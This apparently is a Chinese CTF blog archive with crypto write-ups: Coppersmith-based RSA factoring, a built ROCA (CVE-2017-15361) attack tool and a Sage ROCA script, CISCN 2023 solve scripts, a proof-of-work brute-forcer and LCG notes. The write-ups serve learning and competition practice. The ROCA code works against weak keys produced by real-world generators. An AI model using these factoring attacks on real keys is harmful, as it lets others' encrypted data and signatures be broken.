P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030

c = 10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949
'''

exp(在tl2cents师傅的exp基础上加了些笔记)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


# sagemath 10.0
# sagemath 10.0
clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576
print(hex(trick)) # 0xf93bccfd5550cb15211bdc316f1b15cdfbc1f3e54a7745b9c4835f5346fa7f1d9560784892728000000000000000000000000000000000000000000000000000
# 求其hex长度: trick2hex去除尾部所有0再减去1(最后一位因为bit2hex位数不够会补0,所以这一位可能不是真实的p中的部分(仅对于hex的呈现),所以要减去1)
cache = len(hex(trick).rstrip('0')) - 2 -1 # rstrip('0')去除尾部所有0, -2 是`0x`格式
print(f'cache = {cache}\n泄漏bit位长: bitLens = {cache*4}') # 泄漏p高位 bitLen > 300, 因此可以 coppersmith 分解 clown(n) 得到 P, Q
cut = 512 - cache*4
print(f'{cut = }')

n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030

c = 10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949

PR.<x> = PolynomialRing(Zmod(clown)) # 定义多项式环, Zmod(n)是模n的多项式环
f = trick + x # 定义多项式f
p_low = f.small_roots(X = 2**cut, beta=0.45)[0]
print(f'{hex(p_low) = }')
print(f'{p_low = }')
# p_low = 76347864203588455868161824448305083084387260376528823546715135
print(f'p_low的二进制位长: {len(bin(p_low))-2}') # -2是因为bin()返回的字符串前面有0b
p = p_low + trick
print(hex(p))
q = clown//int(p)
assert p*q == clown # 确保p,q是clown的因子

# 计算R
"""
PR.<x> = PolynomialRing(Zmod(n))
r = (P-x)*(Q-x)*(R-x)
rm = r.monic() # 用monic方法将r转化为首一多项式

_R = ZZ(rm.small_roots(X=2**256)[0]) # ZZ是整数环
N = ZZ(p)*ZZ(q)*ZZ(_R)

e = 65537
phi = (p-1)*(q-1)*(_R-1)
# 也可以不算R, 因为flag很小可以直接用p,q算得出的phi, 同时为了匹配p, q, 我们N也换成p*q即为clown
"""

N = clown
phi = (p-1)*(q-1)
d = int(inverse_mod(e,phi))
m = pow(c,d,N)
from Crypto.Util.number import *
print(long_to_bytes(int(m)))
print(m)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# Output:
0xf93bccfd5550cb15211bdc316f1b15cdfbc1f3e54a7745b9c4835f5346fa7f1d9560784892728000000000000000000000000000000000000000000000000000
cache = 76
泄漏bit位长: bitLens = 304
cut = 208
hex(p_low) = '0x2f82ea9f0e432e03c74e113f0f2d3ee868da63335cdc30a29bff'
p_low = 76347864203588455868161824448305083084387260376528823546715135
p_low的二进制位长: 206
0xf93bccfd5550cb15211bdc316f1b15cdfbc1f3e54a7745b9c4835f5346fa7f1d956078489272af82ea9f0e432e03c74e113f0f2d3ee868da63335cdc30a29bff
b'SYC{N0b0dy_Kn0vvs_CryPt0_be7t3r_7haN_Me}'
695436377443587187633900436650862817189253770609407637864965962513329890598866383949073658766717

solve~

neca (ROCA 攻击工具的 Build)

Tue, 27 Jun 2023 18:12:03 +0000

生成时形如如下式子生成的密钥都有会受到ROCA攻击(CVE-2017-15361)

$$p = k \times M + (65537 ^ a \mod M)$$

去Gitlab clone下 ROCA 攻击的源码 (neca)

接着 `cd` 进入刚刚 `clone` 项目的目录进行类似下面的操作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


zoee@txt:~/tools/Crypto/neca$ ls
CMakeLists.txt LICENSE README build cmake src
zoee@txt:~/tools/Crypto/neca$ rm build/
rm: cannot remove 'build/': Is a directory
zoee@txt:~/tools/Crypto/neca$ rm -rf build/
zoee@txt:~/tools/Crypto/neca$ ls
CMakeLists.txt LICENSE README cmake src
zoee@txt:~/tools/Crypto/neca$ mkdir build
zoee@txt:~/tools/Crypto/neca$ cd build/
zoee@txt:~/tools/Crypto/neca/build$ cmake ..
-- The C compiler identification is GNU 11.3.0
-- The CXX compiler identification is GNU 11.3.0
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Check for working C compiler: /usr/bin/cc - skipped
-- Detecting C compile features
-- Detecting C compile features - done
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Check for working CXX compiler: /usr/bin/c++ - skipped
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Found GMP: /usr/lib/aarch64-linux-gnu/libgmp.so 
-- Found OpenMP_C: -fopenmp (found version "4.5") 
-- Found OpenMP_CXX: -fopenmp (found version "4.5") 
-- Found OpenMP: TRUE (found version "4.5") 
-- Configuring done
-- Generating done
-- Build files have been written to: /home/zoee/tools/Crypto/neca/build
zoee@txt:~/tools/Crypto/neca/build$ ls
CMakeCache.txt CMakeFiles Makefile cmake_install.cmake
zoee@txt:~/tools/Crypto/neca/build$ make
[ 50%] Building CXX object CMakeFiles/neca.dir/src/main.cpp.o
[100%] Linking CXX executable neca
[100%] Built target neca
zoee@txt:~/tools/Crypto/neca/build$ ls
CMakeCache.txt CMakeFiles Makefile cmake_install.cmake neca
zoee@txt:~/tools/Crypto/neca/build$ ./neca 
NECA - Not Even Coppersmith's Attack
ROCA weak RSA key attack by Jannis Harder (me@jix.one)

 *** Currently only 512-bit keys are supported ***

 *** OpenMP support enabled ***

Usage: neca <N>
zoee@txt:~/tools/Crypto/neca/build$

工具安装完成，用这道题(BattleCTF-rockyou) 试试工具

1
2
3
4
5
6
7


from Crypto.Util.number import bytes_to_long
FLAG = bytes_to_long(open("flag.txt").read().encode())
n = 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101 
e = 65537 
c = pow(FLAG, e, n) 
print(f"c = {c}") 
# c = 10924637845512114669339598787759482373871484619074241479073765261738618851409833137908272858354441670603598700617114497065118363300675413269144392865493504

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30



**zoee@txt**:**~/tools/Crypto/neca/build**$ ./neca 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101

NECA - Not Even Coppersmith's Attack

ROCA weak RSA key attack by Jannis Harder (me@jix.one)

 

 *** Currently only 512-bit keys are supported ***

 

 *** OpenMP support enabled ***

 

N = 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101

Factoring...

 

 [===============         ] 62.14% elapsed: 175s left: 106.63s total: 281.64s

 

Factorization found:

N = 127801155916875524149457561567678575565270601000365665873572024750823913157383 * 113917064871970833547038329106470040388258358281464605006613652518914797349747

拿到p，q 写个程序解出m

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


q = 127801155916875524149457561567678575565270601000365665873572024750823913157383
p = 113917064871970833547038329106470040388258358281464605006613652518914797349747
c = 10924637845512114669339598787759482373871484619074241479073765261738618851409833137908272858354441670603598700617114497065118363300675413269144392865493504
e = 65537
n = p * q
d = inverse_mod(e, (p - 1) * (q - 1))
pt = pow(c, d, n)
from Crypto.Util.number import long_to_bytes 
print(long_to_bytes(pt))
# Output:
# b'battleCTF{ROCA_shork_me_0x0x0x}\n'

solve~

存一下sage解ROCA的代码

`fllename`: `sage_functions.py`

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81


#sage_functions.py
from sage.all_cmdline import *
 
def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):
 """
 Taken from https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/coppersmith.sage
 Coppersmith revisited by Howgrave-Graham
 finds a solution if:
 * b|modulus, b >= modulus^beta , 0 < beta <= 1
 * |x| < XX
 More tunable than sage's builtin coppersmith method, pol.small_roots()
 """
 #
 # init
 #
 dd = pol.degree()
 nn = dd * mm + tt
 
 #
 # checks
 #
 if not 0 < beta <= 1:
 raise ValueError("beta should belongs in [0, 1]")
 
 if not pol.is_monic():
 raise ArithmeticError("Polynomial must be monic.")
 
 #
 # calculate bounds and display them
 #
 """
 * we want to find g(x) such that ||g(xX)|| <= b^m / sqrt(n)
 * we know LLL will give us a short vector v such that:
 ||v|| <= 2^((n - 1)/4) * det(L)^(1/n)
 * we will use that vector as a coefficient vector for our g(x)
 * so we want to satisfy:
 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)
 so we can obtain ||v|| < N^(beta*m) / sqrt(n) <= b^m / sqrt(n)
 (it's important to use N because we might not know b)
 """
 #
 # Coppersmith revisited algo for univariate
 #
 
 # change ring of pol and x
 polZ = pol.change_ring(ZZ)
 x = polZ.parent().gen()
 
 # compute polynomials
 gg = []
 for ii in range(mm):
 for jj in range(dd):
 gg.append((x * XX) ** jj * modulus ** (mm - ii) * polZ(x * XX) ** ii)
 for ii in range(tt):
 gg.append((x * XX) ** ii * polZ(x * XX) ** mm)
 
 # construct lattice B
 BB = Matrix(ZZ, nn)
 
 for ii in range(nn):
 for jj in range(ii + 1):
 BB[ii, jj] = gg[ii][jj]
 
 BB = BB.LLL()
 
 # transform shortest vector in polynomial
 new_pol = 0
 for ii in range(nn):
 new_pol += x ** ii * BB[0, ii] / XX ** ii
 
 # factor polynomial
 potential_roots = new_pol.roots()
 
 # test roots
 roots = []
 for root in potential_roots:
 if root[0].is_integer():
 result = polZ(ZZ(root[0]))
 if gcd(modulus, result) >= modulus ** beta:
 roots.append(ZZ(root[0]))
 return roots

替换入自己的 $n$

`fllename`: `ROCA_attack.py`

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89


from sage.all import *
from tqdm import tqdm
 
 
def solve(M, n, a, m):
 # I need to import it in the function otherwise multiprocessing doesn't find it in its context
 from sage_functions import coppersmith_howgrave_univariate
 
 base = int(65537)
 # the known part of p: 65537^a * M^-1 (mod N)
 known = int(pow(base, a, M) * inverse_mod(M, n))
 # Create the polynom f(x)
 F = PolynomialRing(Zmod(n), implementation='NTL', names=('x',))
 (x,) = F._first_ngens(1)
 pol = x + known
 beta = 0.1
 t = m+1
 # Upper bound for the small root x0
 XX = floor(2 * n**0.5 / M)
 # Find a small root (x0 = k) using Coppersmith's algorithm
 roots = coppersmith_howgrave_univariate(pol, n, beta, m, t, XX)
 # There will be no roots for an incorrect guess of a.
 for k in roots:
 # reconstruct p from the recovered k
 p = int(k*M + pow(base, a, M))
 if n%p == 0:
 return p, n//p
 
def roca(n):
 
 keySize = n.bit_length()
 
 if keySize <= 960:
 M_prime = 0x1b3e6c9433a7735fa5fc479ffe4027e13bea
 m = 5
 
 elif 992 <= keySize <= 1952:
 M_prime = 0x24683144f41188c2b1d6a217f81f12888e4e6513c43f3f60e72af8bd9728807483425d1e
 m = 4
 print("Have you several days/months to spend on this ?")
 
 elif 1984 <= keySize <= 3936:
 M_prime = 0x16928dc3e47b44daf289a60e80e1fc6bd7648d7ef60d1890f3e0a9455efe0abdb7a748131413cebd2e36a76a355c1b664be462e115ac330f9c13344f8f3d1034a02c23396e6
 m = 7
 print("You'll change computer before this scripts ends...")
 
 elif 3968 <= keySize <= 4096:
 print("Just no.")
 return None
 
 else:
 print("Invalid key size: {}".format(keySize))
 return None
 
 a3 = Zmod(M_prime)(n).log(65537)
 order = Zmod(M_prime)(65537).multiplicative_order()
 inf = a3 // 2
 sup = (a3 + order) // 2
 
 # Search 10 000 values at a time, using multiprocess
 # too big chunks is slower, too small chunks also
 chunk_size = 10000
 for inf_a in tqdm(range(inf, sup, chunk_size)):
 # create an array with the parameter for the solve function
 inputs = [((M_prime, n, a, m), {}) for a in range(inf_a, inf_a+chunk_size)]
 # the sage builtin multiprocessing stuff
 from sage.parallel.multiprocessing_sage import parallel_iter
 from multiprocessing import cpu_count
 
 for k, val in parallel_iter(cpu_count(), solve, inputs):
 if val:
 p = val[0]
 q = val[1]
 print("found factorization:\np={}\nq={}".format(p, q))
 return val
 
if __name__ == "__main__":
 # Normal values
 #p = 88311034938730298582578660387891056695070863074513276159180199367175300923113
 #q = 122706669547814628745942441166902931145718723658826773278715872626636030375109
 #a = 551658, interval = [475706, 1076306]
 # won't find if beta=0.5
 # p = 80688738291820833650844741016523373313635060001251156496219948915457811770063
 # q = 69288134094572876629045028069371975574660226148748274586674507084213286357069
 # #a = 176170, interval = [171312, 771912]
 # n = p*q
 n = 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101
 # For the test values chosen, a is quite close to the minimal value so the search is not too long
 roca(n)

`利用` 两个代码放在同一个目录下，被引用的代码名必须为 `sage_functions.py`

1

sage ROCA_attack.py

即可得到 $p, q$

但是 ARM macOS make 的时候就会出现很多问题, 如下, 有大佬看见知道怎么就觉请评论告知

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


zoee@Cryptoer ~/D/C/T/n/build> cmake --build . master!

[ 50%] Building CXX object CMakeFiles/neca.dir/src/main.cpp.o
clang: warning: argument unused during compilation: '-Xclang -fopenmp -I/opt/homebrew/Cellar/libomp/16.0.6/include' [-Wunused-command-line-argument]
In file included from /Users/zoee/Documents/Code/Tools/neca/src/main.cpp:12:
/Users/zoee/Documents/Code/Tools/neca/src/arith.h:28:24: error: cannot initialize a variable of type 'const ulimb_t *' (aka 'const unsigned long long *') with an rvalue of type 'mp_srcptr' (aka 'const unsigned long *')
 ulimb_t const *value_limbs = mpz_limbs_read(value.get_mpz_t());
 ^ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/Users/zoee/Documents/Code/Tools/neca/src/arith.h:59:18: error: cannot initialize a variable of type 'ulimb_t *' (aka 'unsigned long long *') with an rvalue of type 'mp_ptr' (aka 'unsigned long *')
 ulimb_t *value_limbs = mpz_limbs_write(value.get_mpz_t(), W);
 ^ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2 errors generated.
make[2]: *** [CMakeFiles/neca.dir/src/main.cpp.o] Error 1
make[1]: *** [CMakeFiles/neca.dir/all] Error 2
make: *** [all] Error 2
zoee@Cryptoer ~/D/C/T/n/build> 2 master!

Python的多线程

Sat, 24 Jun 2023 01:38:57 +0000

学习动机

国赛有道题可以随机生成一组pq试试运气，而且队友确实跑出来了（2023CISCN初赛-badkey）

于是就来学一下多线程，这样比赛需要爆k的时候也比较快

`multiprocessing` — 基于进程的并行

概述

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


from multiprocessing import Pool

def f(x):
 return x*x

if __name__ == '__main__':
 # Pool()创建进程池 https://docs.python.org/zh-cn/3/library/multiprocessing.html#multiprocessing.pool.Pool
 with Pool(5) as p: # 5个进程， with语句会自动调用close()和join()方法 ,
 print(p.map(f, [1, 2, 3])) # map()会将第二个参数的每个元素作为第一个参数的参数，返回一个列表
 
# Output:
# [1],[4],[9]

`Process` 类

在 multiprocessing 中，通过创建一个 Process 对象然后调用它的 start() 方法来生成进程。 Process 和 threading.Thread API 相同。一个简单的多进程程序示例是:

SGMW(上汽五菱) CTF

Thu, 01 Jun 2023 21:37:45 +0000

一道很有趣的词频分析(tag:密码/杂项) 感谢 `AcexZe` 师傅帮助

AcezZe: 运气好，词频出来一看知道要反转一下，以为是栅栏或者凯撒的后续，试了一下发现没啥特殊的，就继续看看字频了

给了 `password.txt` 和 `flag.zip` , 思路是对 `password.txt` 进行词频分析(具体步骤可以看下面的 `psw_string.py` )，并且按照 `psw_string.py` 逻辑进行去除噪声，即可拿到压缩包密码

CSAPP

Tue, 30 May 2023 22:38:37 +0000

lab

`拆弹`

第一步的`exp`, 进 `ida` 一眼顶针发现是个字符串比对

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61


from pwn import *
import sys
import argparse 

context.log_level = 'debug'

path_to_elf = '/home/user/PWN/OS/bomb_XBan/bomb'
elf = ELF(path_to_elf)
libc = elf.libc

ip = sys.argv[1]
# sys.argv[0] 为当前文件名
if len(sys.argv[1]) < 5:
	port = 0
else:
 port = int(sys.argv[2])

if port == 0:
	p = process(path_to_elf)
else:
	p = remote(ip, port)

sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
ru = lambda x : p.recvuntil(x)

def g(arg=''):
	if port != 0:
		return
	gdb.attach(p, arg)
	raw_input()

def choice(op):
	sla('choice: ', str(op))

def arena(op):
	choice(1)
	choice(str(op))

def buy(obj):
	choice(2)
	sla('want a', obj)

def use(obj):
	choice(3)
	choice(1)
	ru('use?\n')
	sa(']', obj)

def leak_heap(x, y, z):
	ret = (z ^ 0xBAAD)<<16
	ret = (ret + y ^ 0xBAAD)<<16
	ret += x ^ 0xBAAD
	return ret

p.recvuntil('day!\n')
# 传回 'Border relations with Canada have never been better.'
p.sendline(b'Border relations with Canada have never been better.')
p.recvuntil(b'next one?\n')

p.interactive()

ciscn2023 密码部分WP

Mon, 29 May 2023 22:37:51 +0000

密码1-基于国密SM2算法的密钥密文分发

按照附件写exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110


# 自动发包
import requests
import json
import base64
import binascii
import urllib.parse as parse
from gmssl import sm2, func
from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT

# curl -d "name=%E5%93%88%E5%93%88&school=%E5%AE%89%E5%BE%BD%E5%A4%A7%E5%AD%A6&phone=15958198820" http://192.168.31.153:3000/api/login
url = 'http://39.105.187.49:16435'

data = {
 'name': '1',
 'school': '1',
 'phone': '1'
}
# 对data进行url编码
data = parse.urlencode(data) # import urllib.parse as parse
# print(data)

接口 = '/api/login'
res = requests.post(url + 接口, data=data)
json_data = json.loads(res.text)
data = json_data['data']
# print(data)
id = data['id']
print(id)
# 1，登录选手信息获取唯一id
# 把id发给 /api/allkey
接口 = '/api/allkey'

res = requests.post(url + 接口, data={'id': id})
# print(res.text)
json_data = json.loads(res.text)
data = json_data['data']

publicKey = data['publicKey'] # 选手SM2公钥
privateKey = data['privateKey'] # 选手SM2私钥
randomString = data['randomString']

# print('publicKey\n', publicKey)
# print('privateKey\n', privateKey)
# print('randomString\n', randomString)

# 将公钥传回
接口 = '/api/allkey'
# 2，发送选手SM2公钥到服务端，并获取服务端加密后的随机数密文、私钥密文和公钥明文
# 服务器使用国密SM2算法生成密钥对B(公钥B_Public_Key、私钥B_Private_Key)、使用量子随机数发生器产生16字节随机数C；服务器首先使用16字节随机数C对私钥B_Private_Key采用SM4ECB算法加密得到私钥B_Private_Key密文，然后使用A_Public_Key对16字节随机数C进行SM2加密得到随机数C密文；
res = requests.post(url + 接口, data={'id': id, 'publicKey': publicKey})
# print(res.text)
B公钥明文 = json.loads(res.text)['data']['publicKey']
随机数C对私钥B_Private_Key采用SM4ECB算法加密得到私钥B_Private_Key密文 = json.loads(res.text)[
 'data']['privateKey']
量子随机数发生器产生16字节随机数C密文 = json.loads(res.text)['data']['randomString']
# print('serverPublicKey\n', serverPublicKey)
# 用户使用私钥A_Private_Key，对随机数C密文进行SM2解密，获取16字节随机数C明文；
sm2_crypt = sm2.CryptSM2(
 public_key=publicKey, private_key=privateKey)
print('sm4密文_\n', 量子随机数发生器产生16字节随机数C密文)
# print('
# AttributeError: 'str' object has no attribute 'hex'
量子随机数发生器产生16字节随机数C密文 = binascii.a2b_hex(量子随机数发生器产生16字节随机数C密文)
量子随机数发生器产生16字节随机数C明文 = sm2_crypt.decrypt(量子随机数发生器产生16字节随机数C密文)
# 量子随机数发生器产生16字节随机数C明文 转为字节
量子随机数发生器产生16字节随机数C明文 = binascii.b2a_hex(量子随机数发生器产生16字节随机数C明文)
# 用户使用16字节随机数C明文，对私钥B_Private_Key密文，采用SM4ECB算法解密，得到私钥B_Private_Key明文；
print('量子c\n', 量子随机数发生器产生16字节随机数C明文)
sm4_crypt = CryptSM4()
sm4_crypt.set_key(量子随机数发生器产生16字节随机数C明文, SM4_DECRYPT)
私钥B_Private_Key明文 = sm4_crypt.crypt_ecb(
 随机数C对私钥B_Private_Key采用SM4ECB算法加密得到私钥B_Private_Key密文.encode('utf-8'))
私钥B_Private = binascii.b2a_hex(私钥B_Private_Key明文)
print('私钥B_Private\n', 私钥B_Private) # 这里发现解出的私钥有问题 有可能为空 猜想是否解密错误
# 用户向服务器请求密钥，服务器使用公钥B_Public_Key明文，对密钥D(16字节)采用SM2算法加密，将密钥D密文传输给用户；
check接口 = '/api/check'
# 不过在这里check的时候发现一直check错误。。。
# 尝试找漏洞 后面有的注释是第一次按文件写的时候写的

接口 = '/api/quantum'
res = requests.post(url + 接口, data={'id': id})
# print(res.text)
quantumString = json.loads(res.text)['data']['quantumString']
res = requests.post(url + check接口, data={'id': id, 'quantumString': quantumString})
# print('quantumString\n', quantumString)
# 用户使用私钥B_Private_Key明文，对密钥D密文进行解密，得到密钥D明文；
sm2_crypt2 = sm2.CryptSM2(
 public_key=B公钥明文, private_key=私钥B_Private)
quantumString = binascii.a2b_hex(quantumString)
quantumString = sm2_crypt2.decrypt(quantumString)
quantumString = binascii.b2a_hex(quantumString)
print('quantumString\n', quantumString)

# 用户将密钥D明文，上报至服务器进行验证，服务器返回参赛结果；用户可向服务器查询个人信息及参赛结果。

# 尝试非预期
quantumString = quantumString.decode('utf-8')
res = requests.post(url + 接口, data={'id': id, 'quantumString': quantumString})
print(res.text)
res = requests.post(url + 接口, data={'id': id, 'quantumString': quantumString})
print(res.text)

接口 = '/api/search'
res = requests.post(url + 接口, data={'id': id})
print(res.text)
quantumStringServer = json.loads(res.text)['data']['quantumStringServer']
print('quantumStringServer\n', quantumStringServer)
res = requests.post(url + check接口, data={'id': id, 'quantumString': quantumStringServer})
res = requests.post(url + 接口, data={'id': id})
print(res.text)

密码2-可信度量

在根目录下递归搜索包含字符串"flag"的文件，并将结果输出到标准输出，并过滤掉无权访问的行

1

grep -ra "flag" / 2>&1 | grep -v "Permission denied" | grep -v "denied$" --line-buffered

密码3-Sign_in_passwd

文件后缀改txt后(方便查阅) url解码第二行信息后base64换表第一行作为密文第二行作为表来解

密码4-badkey1

题面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from hashlib import sha256
import random, os, signal, string

def proof_of_work():
 random.seed(os.urandom(8))
 proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
 _hexdigest = sha256(proof.encode()).hexdigest()
 print(f"sha256(XXXX+{proof[4:]}) == {_hexdigest}")
 print('Give me XXXX: ')
 x = input()
 if len(x) != 4 or sha256(x.encode()+proof[4:].encode()).hexdigest() != _hexdigest:
 print('Wrong PoW')
 return False
 return True

if not proof_of_work():
 exit(1)
 
signal.alarm(10)
print("Give me a bad RSA keypair.")

try:
 p = int(input('p = '))
 q = int(input('q = '))
 assert p > 0
 assert q > 0
 assert p != q
 assert p.bit_length() == 512
 assert q.bit_length() == 512
 assert isPrime(p)
 assert isPrime(q)
 n = p * q
 e = 65537
 assert p % e != 1
 assert q % e != 1
 d = inverse(e, (p-1)*(q-1))
except:
 print("Invalid params")
 exit(2)

try:
 key = RSA.construct([n,e,d,p,q])
 print("This is not a bad RSA keypair.")
 exit(3)
except KeyboardInterrupt:
 print("Hacker detected.")
 exit(4)
except ValueError:
 print("How could this happen?")
 from secret import flag
 print(flag)

按照 `brealid` 师傅的推导过程自己推了一遍

`工作量证明` 模板

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


import hashlib
import string
import itertools
from tqdm import tqdm
from pwn import *

# 遍历所有的XXXX，找到符合条件的XXXX
b = string.digits + string.ascii_letters + string.punctuation
strL = itertools.product(b, repeat=4)

ip = '47.93.187.243'
port = 39092

io = remote(ip, port, level='debug')
data = io.recvline()
# print(data) # b'sha256(XXXX+2ywKnEOsDsVMJXvP) == f8ffb979f1819dba9905c67b9b85874c681807f6e3cb2953901785764f5e8db8\n'
残缺的sha = data.split(b'+')[1].split(b')')[0]
sha256后的值 = data.split(b'== ')[1].strip()

hash_object = hashlib.sha256()
for i in strL:
 a = i[0] + i[1] + i[2] + i[3]
 sha = a + 残缺的sha.decode()
 # print(sha)
 hash_object.update(sha.encode())
 digest = hash_object.digest()
 hex_digest = digest.hex()
 if hex_digest == sha256后的值.decode():
 print(a)
 io.sendline(a.encode())
 break

io.interactive()

推导

NSSCTF 流密码工坊

Mon, 22 May 2023 23:48:29 +0000

LCG

流密码介绍

$$ X_{n+1} = (aX_n + b) \pmod m $$

LCG代码实现

`Python` 实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


class LCG:
 def __init__(self, seed, a, b, m):
 self.seed = seed # 初始种子
 self.a = a # 乘数
 self.b = b # 增量
 self.m = m # 模数

 def generate(self):
 self.seed = (self.a * self.seed + self.b) % self.m
 return self.seed

题面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


from Crypto.Util.number import *

flag = b'NSSCTF{******}'

class LCG:
 def __init__(self, seed, a, b, m):
 self.seed = seed # 初始种子
 self.a = a # 乘数
 self.b = b # 增量
 self.m = m # 模数

 def generate(self):
 self.seed = (self.a * self.seed + self.b) % self.m
 return self.seed

lcg = LCG(bytes_to_long(flag), getPrime(256), getPrime(256), getPrime(256))

